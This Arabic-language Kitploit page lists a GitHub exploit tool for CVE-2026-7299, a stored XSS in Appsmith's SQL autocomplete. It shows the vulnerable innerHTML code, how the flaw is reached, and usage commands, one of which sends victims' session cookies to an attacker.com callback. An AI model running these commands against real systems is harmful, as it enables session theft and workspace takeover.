Skip to content
KitploitKITPLOIT
أدواتالمدونة
Log in
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Appsmith-1.98-Stored-XSS-Exploit — أتمتة استغلال CVE-2026-7299 - XSS مخزنة عبر أسماء جداول/أعمدة قاعدة البيانات في الإكمال التلقائي لـ SQL داخل Appsmith =>1.99. الاكتشاف الأولي 30/03/26 | Kitploit
أدوات/GitHubGitHub/stuub/appsmith-1.98-stored-xss-exploit
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولات
GitHubstuub/appsmith-1.98-stored-xss-exploit

Appsmith-1.98-Stored-XSS-Exploit

أتمتة استغلال CVE-2026-7299 - XSS مخزنة عبر أسماء جداول/أعمدة قاعدة البيانات في الإكمال التلقائي لـ SQL داخل Appsmith =>1.99. الاكتشاف الأولي 30/03/26

عرض المستودع
37منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-7299 - Appsmith 1.98 ثغرة XSS مخزنة (حوض innerHTML في الإكمال التلقائي لـ SQL)

استغلال آلي لثغرة XSS مخزنة في محرر استعلامات SQL الخاص بـ Appsmith. يمكن لمطوّر (Developer) في مساحة العمل حقن كود JavaScript عشوائي عبر أسماء جداول قاعدة البيانات، ويتم تنفيذه في متصفح أي عضو آخر في مساحة العمل عند تشغيل الإكمال التلقائي لاستعلامات SQL.

تم تأكيد الثغرة على Appsmith v1.98 ومن المرجح أنها تؤثر على جميع الإصدارات السابقة التي تحتوي على مُقدّم التلميحات المخصص لاستعلامات SQL. توجد الثغرة في hintHelpers.ts:165 حيث يتم تجاوز العرض الافتراضي الآمن للتلميحات في CodeMirror (textContent) باستدعاء render مخصص يستخدم innerHTML لعرض أسماء جداول وأعمدة قاعدة البيانات دون أي تعقيم (Sanitisation).

الاستخدام

إثبات مفهوم (PoC) لتنبيه أساسي:

python3 exploit.py --url http://target:4444 --email [email protected] --password Password1!

تهريب ملفات تعريف الارتباط (Cookies) إلى خادم رد الاتصال:

python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
    --callback-url http://attacker.com:8888

حمولة مخصصة (Payload):

python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
    --custom-payload ''

إذا لم يكن هناك مصدر بيانات PostgreSQL موجودًا بعد، يكتشف السكربت الاتصالات تلقائيًا، أو يمكنك توفير بيانات الاعتماد (Credentials):

python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
    --db-host postgres --db-name testdb --db-user postgres --db-pass postgres

مثال

Screenshot_20260330_161606

فيديو توضيحي لإثبات المفهوم (PoC)

https://www.youtube.com/watch?v=1RHBYZ2Bp_A

التوثيق

الخلفية

Appsmith عبارة عن منصة مفتوحة المصدر منخفضة الكود (Low-Code) يبني من خلالها الفرق أدوات داخلية عبر ربط مصادر البيانات وكتابة الاستعلامات. يوفر محرر استعلامات SQL اقتراحات الإكمال التلقائي المستمدة من بيانات تعريف الجداول والأعمدة في قاعدة البيانات المتصلة.

يستخدم عرض الإكمال التلقائي في hintHelpers.ts استدعاء render مخصصًا من CodeMirror:

completion.render = (LiElement, _data, { className, text }) => {
    const { hintType, iconBgType, iconText } = getHintDetailsFromClassName(text, className);
    LiElement.setAttribute("hinttype", hintType);
    LiElement.setAttribute("icontext", iconText);
    LiElement.classList.add("cm-sql-hint");
    LiElement.classList.add(`cm-sql-hint-${iconBgType}`);
    LiElement.innerHTML = text;  // <-- unsanitized table/column name
};

يستخدم العرض الافتراضي للتلميحات في CodeMirror 5 الخاصية textContent (آمنة). يتجاوز Appsmith هذا السلوك باستخدام innerHTML لإضافة فئات CSS مخصصة وخصائص أيقونات لأغراض التنسيق، لكن محتوى النص الفعلي (اسم الجدول) يُعيَّن كـ HTML خام. لا يوجد أي تعقيم (Sanitisation) في أي نقطة ضمن تدفق البيانات المكوَّن من 8 خطوات بدءًا من كتالوج قاعدة البيانات وصولًا إلى عرض DOM.

مسار الاستغلال

يتم تنفيذ الهجوم بالكامل من خلال واجهة الويب الخاصة بـ Appsmith.

يقوم المهاجم (مطوّر في مساحة العمل) بتنفيذ عبارة CREATE TABLE تحتوي على حمولة XSS كاسم للجدول. لا يقوم PostgresPlugin في Appsmith بأي تصفية لعبارات DDL، حيث يقبل statement.execute(query) أي SQL صالح بما في ذلك DDL.

CREATE TABLE "" (id serial primary key);

يفتح أي عضو آخر في مساحة العمل محرر استعلامات SQL لنفس مصدر البيانات ويبدأ بكتابة استعلام. تظهر القائمة المنسدلة للإكمال التلقائي مع اقتراحات أسماء الجداول المستخرجة من بيانات تعريف قاعدة البيانات. يتم عرض اسم الجدول الخبيث عبر innerHTML، مما ينفّذ حمولة JavaScript في جلسة متصفح الضحية.

يعمل كود XSS في سياق تطبيق Appsmith مع جلسة الضحية. يمكن للمهاجم سرقة ملفات تعريف الارتباط الخاصة بالجلسة (XSRF-TOKEN, SESSION)، أو تهريب بيانات اعتماد مصدر البيانات، أو تنفيذ استدعاءات API باسم الضحية. إذا كانت الضحية مسؤولًا (Admin)، يرقّي المهاجم سيطرته إلى السيطرة الكاملة على مساحة العمل.

تدفق البيانات

PostgreSQL pg_catalog (table_name, column_name)
  -> PostgresPlugin.getStructure()           [no sanitisation]
  -> DatasourceStructure Java POJO           [no sanitisation]
  -> REST API /api/v1/datasources/{id}/structure  [no sanitisation]
  -> Redux state.entities.datasources        [no sanitisation]
  -> getAllDatasourceTableKeys selector       [no sanitisation]
  -> SqlHintHelper.setDatasourceTableKeys()  [no sanitisation]
  -> CodeMirror hint.sql() completions       [no sanitisation]
  -> LiElement.innerHTML = text              [XSS]

لا يوجد أي تعقيم (Sanitisation)، حيث يتم عرض الحمولة عبر innerHTML وتنفيذها داخل DOM فور استدعائها من قِبل مُقدّم الإكمال التلقائي.

المراجع

  • CVE-2026-7299
  • مستودع Appsmith على GitHub
  • CWE-79: تحييد غير صحيح للمدخلات أثناء توليد صفحة الويب
  • CVE-2026-30862 - نمط مشابه في TableWidgetV2 (تم إصلاحه)
  • الملف المتأثر بالثغرة: app/client/src/components/editorComponents/CodeEditor/hintHelpers.ts:165

إخلاء مسؤولية

تم توفير هذه الأداة لأغراض الاختبارات الأمنية المصرح بها والتعليم فقط. استخدمها فقط ضد الأنظمة التي تملكها أو التي لديك إذن كتابي صريح لاختبارها. لا أتحمل أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.

اختراق سعيد!

تنزيل الأداة